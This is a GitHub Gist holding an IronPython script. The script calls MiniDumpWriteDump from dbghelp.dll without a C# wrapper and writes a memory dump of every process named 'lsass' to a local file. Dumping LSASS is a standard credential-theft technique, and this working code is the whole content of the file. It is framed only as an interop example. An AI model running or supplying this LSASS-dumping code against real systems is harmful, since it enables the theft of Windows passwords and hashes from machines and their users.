Created
October 12, 2018 01:56
-
-
Save ihamburglar/6a6d46ef81f135277b455f76623a84a5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is an example of how to run MiniDumpWriteDump functionality | |
# natively in IronPython without a C# wrapper. | |
from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute | |
from System.Diagnostics import Process | |
from System.IO import FileStream, FileMode, FileAccess,FileShare | |
import clrtype, System | |
class NativeMethods(object): | |
__metaclass__ = clrtype.ClrClass | |
from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute | |
DllImport = clrtype.attribute(DllImportAttribute) | |
PreserveSig = clrtype.attribute(PreserveSigAttribute) | |
@staticmethod | |
@DllImport("dbghelp.dll") | |
@PreserveSig() | |
@clrtype.accepts(System.IntPtr,System.UInt32,System.IntPtr,System.Int32,System.Int32,System.Int32,System.Int32) | |
@clrtype.returns(System.Boolean) | |
def MiniDumpWriteDump(phandle,pid,file,dumpType,expParam,userStreamParam,callbackParam): raise RuntimeError("MiniDump Failed. Do you have permission?") | |
#Specify the process(es) you want to dump. | |
procname = 'lsass' | |
ids = Process.GetProcessesByName(procname) | |
for pid in ids: | |
file = procname + '.' +str(pid.Id) + '.dump' | |
fs = FileStream(file, FileMode.Create, FileAccess.ReadWrite, FileShare.Write) | |
NativeMethods().MiniDumpWriteDump(pid.Handle,pid.Id,fs.Handle,0x00000002,0,0,0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment